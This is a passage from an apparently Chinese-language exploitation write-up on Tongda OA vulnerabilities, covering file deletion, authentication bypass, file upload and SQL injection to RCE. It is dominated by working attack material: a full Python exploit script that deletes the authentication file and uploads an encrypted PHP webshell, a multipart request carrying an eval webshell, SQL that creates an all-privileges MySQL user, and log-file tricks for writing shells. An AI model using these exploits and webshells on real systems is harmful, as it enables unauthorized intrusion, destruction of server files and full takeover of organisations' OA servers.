print("检测完毕");
}
和poc.py同目录下的./OAShell.txt
文件
-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="SUBJECT"
166.jpg
-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="CONTENT_NO"
-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="TD_HTML_EDITOR_CONTENT"
-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="KEYWORD"
-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="NEW_NAME"
н¨Îĵµ
-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="NEW_TYPE"
-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="ATTACHMENT_1"; filename=""
Content-Type: application/octet-stream
-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="ATTACH_NAME"
-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="ATTACH_DIR"
-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="DISK_ID"
-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="ATTACHMENT_1000"; filename=""
Content-Type: application/octet-stream
-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="ATTACHMENT_DESC"
-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="CONTENT_ID"
-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="OP"
-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="PD"
1
-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="SORT_ID"
0
-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="ATTACHMENT_ID_OLD"
-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="ATTACHMENT_NAME_OLD"
-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="FILE_SORT"
2
-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="USE_CAPACITY"
-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="USE_CAPACITY_SIZE"
-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="SHARE_USER"
-----------------------------33072116513621237124579432636
Content-Disposition: form-data; name="ATTACHMENT_0"; filename="1.jpg"
Content-Type: image/jpeg
<?php @eval($_POST['test']); ?>
-----------------------------33072116513621237124579432636--
通达OA v11.6任意文件删除
漏洞文件/module/appbuilder/assets/print.php
第6行就是unlink
删除文件的代码,所以这里不再叙述直接给个POC:
/module/appbuilder/assets/print.php?guid=文件路径
拓展利用:
有一种删除文件的使用方法就是通过删除身份验证的/webroot/inc/auth.inc.php
那么大多数需要身份验证的地方将失效,在这里就可以绕过upload.php
的文件上传的身份检验,从而实现未授权的文件上传
通达OA <11.5或v11.6任意文件删除绕过身份验证 data_center任意文件上传漏洞
参考文章:https://mp.weixin.qq.com/s/GALcUWwt2M5_B_3iDSDq7g
因为在上传点/general/data_center/utils/upload.php中包含身份验证的/webroot/inc/auth.inc.php
文件使用的是include_once
所以即使不存在文件也不会导致程序中止(如果是require就会中止)从而导致身份验证失效.
利用工具:
代码语言:javascript复制https://github.com/admintony/TongdaRCE
POC:
代码语言:javascript复制#!/usr/bin/python
# -*- coding: utf-8 -*-
"""
Author: Admintony
Date: 2020/08/23 16:38
适用版本:
通达OA < v11.5
通达OA v11.6
声明:使用即代表接受本协议,工具仅用于测试用途,请勿使用此工具做非法事情。
"""
import requests,sys,json
from random import choice
payload="""<?php
@error_reporting(0);
session_start();
if (isset(_GET['pass']))
{key=substr(md5(uniqid(rand())),16);
_SESSION['k']=key;
print key;
}
else if(!empty(_SESSION['k']))
{
key=_SESSION['k'];
post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{t="base64_"."decode";
post=t(post."");
for(i=0;i<strlen(post);i ) {post[i] =post[i]^key[i 1&15];
}
}
else
{post=openssl_decrypt(post, "AES128",key);
}
arr=explode('|',post);
func=arr[0];
params=arr[1];
class C{public function __construct(p) {eval(p."");}}
@new C($params);
}
?>
"""
USER_AGENTS = [
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)",
"Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.35; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
"Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)",
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)",
"Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322)",
"Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30)",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.3 (Change: 287 c9dfb30)",
"Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527 (KHTML, like Gecko, Safari/419.3) Arora/0.6",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/20070215 K-Ninja/2.1.1",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/20080705 Firefox/3.0 Kapiko/3.0",
"Mozilla/5.0 (X11; Linux i686; U;) Gecko/20070322 Kazehakase/0.4.5",
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko Fedora/1.9.0.8-1.fc10 Kazehakase/0.5.6",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.20 (KHTML, like Gecko) Chrome/19.0.1036.7 Safari/535.20",
"Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.11 TaoBrowser/2.0 Safari/536.11",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.71 Safari/537.1 LBBROWSER",
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; LBBROWSER)",
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E; LBBROWSER)",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.84 Safari/535.11 LBBROWSER",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)",
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; QQBrowser/7.0.3698.400)",
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SV1; QQDownload 732; .NET4.0C; .NET4.0E; 360SE)",
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1",
"Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; zh-cn) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5",
"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b13pre) Gecko/20110307 Firefox/4.0b13pre",
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:16.0) Gecko/20100101 Firefox/16.0",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11",
"Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10"
]
headers={}
""" 11.6版本 getshell利用链 """
def getShellV11_6(target):
print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")
input("Press enter to continue")
print("[*]Deleting auth.inc.php....")
url=target "/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"
requests.get(url=url,verify=False)
print("[*]Checking if file deleted...")
url=target "/inc/auth.inc.php"
page=requests.get(url=url,verify=False).text
if 'No input file specified.' not in page:
print("[-]Failed to deleted auth.inc.php")
exit(-1)
print("[ ]Successfully deleted auth.inc.php!")
print("[*]Uploading payload...")
url=target "/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"
files = {'FILE1': ('at.php', payload)}
res=requests.post(url=url,files=files,verify=False)
url=target "/_at.php"
page=requests.get(url=url,verify=False).text
if 'No input file specified.' not in page:
print("[ ]Filed Uploaded Successfully")
print("[ ]URL:",url)
else:
print("[-]Failed to upload file")
""" 低于11.5版本 getshell利用链 """
def getShellV11_x(target):
cookie=getV11Session(target)
if not cookie:
print("[-] Failed to get Session")
return
headers={"Cookie":cookie ";_SERVER="}
print("[*]Uploading payload...")
url=target "/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"
files = {'FILE1': ('at.php', payload)}
res=requests.post(url=url,files=files,headers=headers,verify=False)
url=target "/_at.php"
page=requests.get(url=url,verify=False).text
if 'No input file specified.' not in page:
print("[ ]Filed Uploaded Successfully")
print("[ ]URL:",url)
else:
print("[-]Failed to upload file")
"""
@判断目标版本
@return 116:11.6版本
@return 11:非11.6版本
"""
def getVersion(target):
print("[*] Checking target's OA version")
url=target "/module/appbuilder/assets/print.php"
res=requests.get(url,verify=False)
if res.status_code==200:
print("[*] Target's OA version: v11.6")
return "116"
else:
print("[*] Target's OA version: is not v11.6")
return "11"
""" OA未授权访问 """
def getV11Session(url):
checkUrl = url '/general/login_code.php'
try:
headers["User-Agent"] = choice(USER_AGENTS)
res = requests.get(checkUrl,headers=headers)
resText = str(res.text).split('{')
codeUid = resText[-1].replace('}"}', '').replace('rn', '')
getSessUrl = url '/logincheck_code.php'
res = requests.post(
getSessUrl, data={'CODEUID': '{' codeUid '}', 'UID': int(1)},headers=headers)
print('[ ]Get Available COOKIE:' res.headers['Set-Cookie'])
if testCookie(url,res.headers['Set-Cookie']) == 0:
print("[-] Failed to login with this Cookie")
return
return res.headers['Set-Cookie']
except Exception as e:
print(e)
print('[-] Something Wrong With ' url)
return
""" 测试获取到的cookie是否可用 """
def testCookie(url,Cookie):
uri = "/general/index.php?isIE=0&modify_pwd=0"
headers = {
"Cookie":Cookie
}
res = requests.get(url uri,headers=headers)
if "用户未登录,请重新登录!" in res.text:
return 0
if __name__ == '__main__':
if len(sys.argv) != 2:
print("[*] python {} target_url".format(sys.argv[0]))
exit()
target=sys.argv[1]
ver = getVersion(target)
if ver=="116":
getShellV11_6(target)
elif ver=="11":
getShellV11_x(target)
poc解析
poc中有两个方法尝试去上传webshell,一个是getShellV11_x
另一个是getShellV11_6
.它们的区别在于怎么获取session,至于上传文件的原理是一样的,都是利用变量覆盖来自定义上传文件的路径和文件名(原理继续往下看)
getShellV11_x
使用的其实就是我们的通达OA < 11.5任意用户登录
从而获得admin的session,自然就能满足upload.php
的身份绕过了;getShellV11_6
的原理就是我们这里提到的删除身份验证文件来绕过身份验证- 满足身份验证条件后通过
变量覆盖
满足文件上传判断条件和自定义上传文件路径和文件名 - 成功上传webshell
很重要的点:
在参考文章当中就有说道这个漏洞利用的前提就是通过common.inc.php
文件进行变量覆盖(这个文件在很多个地方都有被包含,所以通达OA变量覆盖的触发点有很多),从而满足文件上传目标的判断条件,这里直接偷两张图:
至于为什么会改变上传路径在上面的参考文章中也有详细说明,默认下文件会被上传到attachment/
目录下,而通达OA的Nginx会对这个目录进行正则匹配,将.php|.php3|.php5|jsp|asp
给ban了,除attachment
之外还有static|images|theme|templates|wav
都会被匹配到(也就是不能访问xxx/deniedDir/deniedExtendFile
)
通达OA v11.7后台SQL注入写文件RCE
注入出现在general/hr/manage/query/delete_cascade.php
文件中,这个点离谱的就是直接整句执行我们的sql语句而不是闭合原语句,并且执行语句的用户对mysql数据库拥有所有权限(因此可以修改用户权限),所以操作空间就很大了
添加一个新的用户
代码语言:javascript复制grant all privileges ON mysql.* TO 'at666'@'%' IDENTIFIED BY 'abcABC@123' WITH GRANT OPTION;
为新用户赋予全部权限
代码语言:javascript复制UPDATE mysql.user SET Password = '*DE0742FA79F6754E99FDB9C8D2911226A5A9051D', Select_priv = 'Y', Insert_priv = 'Y', Update_priv = 'Y', Delete_priv = 'Y', Create_priv = 'Y', Drop_priv = 'Y', Reload_priv = 'Y', Shutdown_priv = 'Y', Process_priv = 'Y', File_priv = 'Y', Grant_priv = 'Y', References_priv = 'Y', Index_priv = 'Y', Alter_priv = 'Y', Show_db_priv = 'Y', Super_priv = 'Y', Create_tmp_table_priv = 'Y', Lock_tables_priv = 'Y', Execute_priv = 'Y', Repl_slave_priv = 'Y', Repl_client_priv = 'Y', Create_view_priv = 'Y', Show_view_priv = 'Y', Create_routine_priv = 'Y', Alter_routine_priv = 'Y', Create_user_priv = 'Y', Event_priv = 'Y', Trigger_priv = 'Y', Create_tablespace_priv = 'Y', ssl_type = '', ssl_cipher = '', x509_issuer = '', x509_subject = '', max_questions = 0, max_updates = 0, max_connections = 0, max_user_connections = 0, plugin = 'mysql_native_password', authentication_string = '', password_expired = 'Y' WHERE Host = Cast('%' AS Binary(1)) AND User = Cast('at666' AS Binary(5));
刷新权限(使数据库的权限设置生效)
代码语言:javascript复制flush privileges;
grant all privileges ON mysql.* TO 'at666'@'%' IDENTIFIED BY 'abcABC@123' WITH GRANT OPTION
navicate登录有全部权限的用户
写shell
代码语言:javascript复制# 查路径:
select @@basedir; # c:td0a117mysql5,那么web目录就是c:td0a117webroot
# 方法1:
set global slow_query_log=on;
set global slow_query_log_file='C:/td0a117/webroot/tony.php';
select '' or sleep(11);
# 方法2:
set global general_log = on;
set global general_log_file = 'C:/td0a117/webroot/tony2.php';
select '';
show variables like '%general%';
参考链接: https://mp.weixin.qq.com/s/8rvIT1y_odN2obJ1yAvLbw 通达OA v11.7后台SQL注入到RCE[0day]
通达OA2017 ueditor模块未授权任意文件上传
通过快捷菜单->个人文件柜->新建文件
上传图片,然后上传一个websehll假图,住吧将后缀名改为.php.
然后就成功将websehll.php.
文件上传了,因为在windows中并不允许文件名以.
结尾所以会将结尾的.删除,从而得到webshell.php
参考文章: https://cloud.tencent.com/developer/article/1856837
未授权登录方法汇总
- < 11.5任意用户登录
- v11.7在线用户登录
- v11.6删除身份验证文件从而绕过某些点的身份验证
- 通过sql注入拿到账号密码
文件上传wensehll方法汇总
- 上传websehll假图片并拿到图片路径后通过修改文件后缀得到webshell.php
- ueditor模块将webshell假图片直接上传,抓包将后缀名改为
php.
- sql注入设置
慢查询
或全部查询
日志文件写文件 - 2015-2017版本任意文件上传
2022——07——25